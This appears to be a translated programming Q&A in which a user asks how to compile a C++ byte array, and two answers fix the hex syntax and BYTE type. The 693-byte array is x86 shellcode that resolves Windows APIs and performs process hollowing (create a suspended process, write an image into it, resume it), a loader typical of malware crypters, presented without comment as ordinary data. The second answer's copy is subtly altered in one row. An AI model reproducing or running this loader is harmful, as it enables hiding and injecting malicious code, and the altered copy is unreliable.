1

我目前正在尝试在我的 C++ 应用程序中创建一个字节数组。

我正在使用以下代码:

#include "stdafx.h"

const BYTE DMSN[693]={$55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC,
$FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89,
$45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45,
$F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0,
$BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB,
$8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53,
$13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB,
$DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50,
$C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2,
$8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C,
$6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8,
$60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D,
$01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00,
$FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8,
$8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04,
$6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02,
$00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00,
$01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1,
$30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF,
$FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF,
$77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF,
$77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4,
$8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33,
$C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD,
$FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5,
$78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF,
$03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,
$FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00,
$00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83,
$C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89,
$4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0,
$51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04,
$4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B,
$59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B,
$49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3}

int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}

这就是它在 IDE 中的样子:http: //gyazo.com/ae6ccac99b8f0d6bfd26cadecfe89939.png

我目前正在使用Microsoft Visual C++ 2010 Express.

好像我没有导入我需要的东西(为了使用BYTE或某种意义上的“字节数组”)?

4

2 回答 2

9

首先,您可以使用unsigned char代替BYTE. 就BYTE其本身而言,您应该

#include <windows.h>

其次,$您应该使用0x.

这是您应该阅读的优秀 C++ 书籍综合指南。

于 2012-08-14T09:11:14.513 回答
0

您可以使用typedef onunsigned char 创建 BYTE. 像这样:typedef unsigned char BYTE;

您的代码的问题是它应该如下所示:

#include <iostream>
using namespace std ;

typedef unsigned char BYTE;

    const BYTE DMSN[/*693*/] =
    {
        0x55,0x8B,0xEC,0x81,0xC4,0xA4,0xFA,0xFF,0xFF,0x89,0x45,0xFC,0xE8,0x1B,0x02,0x00,0x00,0x89,0x85,0xCC,
        0xFD,0xFF,0xFF,0xBB,0xF2,0x0F,0x56,0xC6,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0x19,0x02,0x00,0x00,0x89,
        0x45,0xF8,0xBB,0xA9,0x8B,0x80,0x2D,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0x06,0x02,0x00,0x00,0x89,0x45,
        0xF4,0xBB,0x85,0x3B,0xAE,0xDB,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xF3,0x01,0x00,0x00,0x89,0x45,0xF0,
        0xBB,0x93,0x35,0xDF,0x85,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xE0,0x01,0x00,0x00,0x89,0x45,0xEC,0xBB,
        0x8D,0xCB,0xB6,0x5D,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xCD,0x01,0x00,0x00,0x89,0x45,0xE8,0xBB,0x53,
        0x13,0xC1,0x78,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xBA,0x01,0x00,0x00,0x89,0x45,0xE4,0xBB,0x8A,0xDB,
        0xDF,0xA5,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xA7,0x01,0x00,0x00,0x89,0x45,0xE0,0xBB,0x2E,0x05,0x50,
        0xC8,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0x94,0x01,0x00,0x00,0x89,0x45,0xDC,0xBB,0x85,0xA1,0x16,0xA2,
        0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0x81,0x01,0x00,0x00,0xE8,0x06,0x00,0x00,0x00,0x6E,0x74,0x64,0x6C,
        0x6C,0x00,0x5F,0x57,0xFF,0xD0,0x89,0x85,0xD0,0xFD,0xFF,0xFF,0xBB,0x8B,0xE3,0xCD,0x41,0x8B,0xD0,0xE8,
        0x60,0x01,0x00,0x00,0x89,0x45,0xD8,0xBB,0x39,0x23,0x0D,0x2C,0x8B,0x95,0xD0,0xFD,0xFF,0xFF,0xE8,0x4D,
        0x01,0x00,0x00,0x89,0x45,0xD4,0x68,0x00,0x02,0x00,0x00,0x8D,0x85,0xD4,0xFD,0xFF,0xFF,0x50,0x6A,0x00,
        0xFF,0x55,0xF8,0x6A,0x44,0x8D,0x85,0x88,0xFD,0xFF,0xFF,0x50,0xFF,0x55,0xD4,0xFF,0x55,0xF4,0x8B,0xC8,
        0x8D,0x85,0x78,0xFD,0xFF,0xFF,0x50,0x8D,0x85,0x88,0xFD,0xFF,0xFF,0x50,0x6A,0x00,0x6A,0x00,0x6A,0x04,
        0x6A,0x00,0x6A,0x00,0x6A,0x00,0x51,0x8D,0x85,0xD4,0xFD,0xFF,0xFF,0x50,0xFF,0x55,0xF0,0x68,0xCC,0x02,
        0x00,0x00,0x8D,0x85,0xA4,0xFA,0xFF,0xFF,0x50,0xFF,0x55,0xD4,0xC7,0x85,0xA4,0xFA,0xFF,0xFF,0x02,0x00,
        0x01,0x00,0x8D,0x85,0xA4,0xFA,0xFF,0xFF,0x50,0xFF,0xB5,0x7C,0xFD,0xFF,0xFF,0xFF,0x55,0xEC,0x64,0xA1,
        0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x14,0x8B,0x40,0x10,0x50,0xFF,0xB5,0x78,0xFD,0xFF,0xFF,
        0xFF,0x55,0xD8,0x8B,0x7D,0xFC,0x03,0x7F,0x3C,0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0xFF,0x77,0x50,0xFF,
        0x77,0x34,0xFF,0xB5,0x78,0xFD,0xFF,0xFF,0xFF,0x55,0xE8,0x89,0x85,0x74,0xFD,0xFF,0xFF,0x6A,0x00,0xFF,
        0x77,0x54,0xFF,0x75,0xFC,0xFF,0xB5,0x74,0xFD,0xFF,0xFF,0xFF,0xB5,0x78,0xFD,0xFF,0xFF,0xFF,0x55,0xE4,
        0x8D,0x47,0x18,0x89,0x85,0x70,0xFD,0xFF,0xFF,0x0F,0xB7,0x47,0x14,0x01,0x85,0x70,0xFD,0xFF,0xFF,0x33,
        0xC0,0x33,0xF6,0x33,0xC9,0xEB,0x29,0x6B,0xC6,0x28,0x03,0x85,0x70,0xFD,0xFF,0xFF,0x8B,0x9D,0x74,0xFD,
        0xFF,0xFF,0x03,0x58,0x0C,0x8B,0x55,0xFC,0x03,0x50,0x14,0x6A,0x00,0xFF,0x70,0x10,0x52,0x53,0xFF,0xB5,
        0x78,0xFD,0xFF,0xFF,0xFF,0x55,0xE4,0x46,0x66,0x3B,0x77,0x06,0x72,0xD1,0x8B,0x85,0x74,0xFD,0xFF,0xFF,
        0xFF,0xFF,0xFF,0x55,0xE0,0xFF,0xB5,0x7C,0xFD,0xFF,0xFF,0xFF,0x55,0xDC,0xC9,0xC3,0x64,0xA1,0x30,0x00,
        0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0xC3,0x55,0x8B,0xEC,0x83,
        0xC4,0xF4,0x52,0x89,0x55,0xFC,0x8B,0x4A,0x3C,0x03,0xCA,0x89,0x4D,0xF4,0x8B,0x49,0x78,0x03,0xCA,0x89,
        0x4D,0xF8,0x8B,0x51,0x18,0x8B,0x49,0x20,0x03,0x4D,0xFC,0x33,0xFF,0x8B,0x31,0x03,0x75,0xFC,0x33,0xC0,
        0x51,0xAC,0x8B,0xC8,0x03,0xF8,0xD3,0xC7,0x85,0xC0,0x75,0xF5,0x59,0x3B,0xFB,0x74,0x10,0x83,0xC1,0x04,
        0x4A,0x75,0xE0,0xBA,0xC2,0x58,0x62,0x1B,0x5A,0x33,0xC0,0xC9,0xC3,0x8B,0x45,0xFC,0x8B,0x4D,0xF8,0x8B,
        0x59,0x18,0x8B,0x49,0x24,0x03,0xC8,0x2B,0xDA,0xD1,0xE3,0x03,0xCB,0x0F,0xB7,0x19,0x8B,0x4D,0xF8,0x8B,
        0x49,0x1C,0x03,0xC8,0xC1,0xE3,0x02,0x03,0xCB,0x03,0x01,0x5A,0xC9,0xC3  
    };

int main( )
{

    for(int i=0; i<200; i++) cout<<"  "<<(int)DMSN[i]<<"\t";

    cout<<" \n";


  return 0;
}
于 2012-08-14T10:46:35.777 回答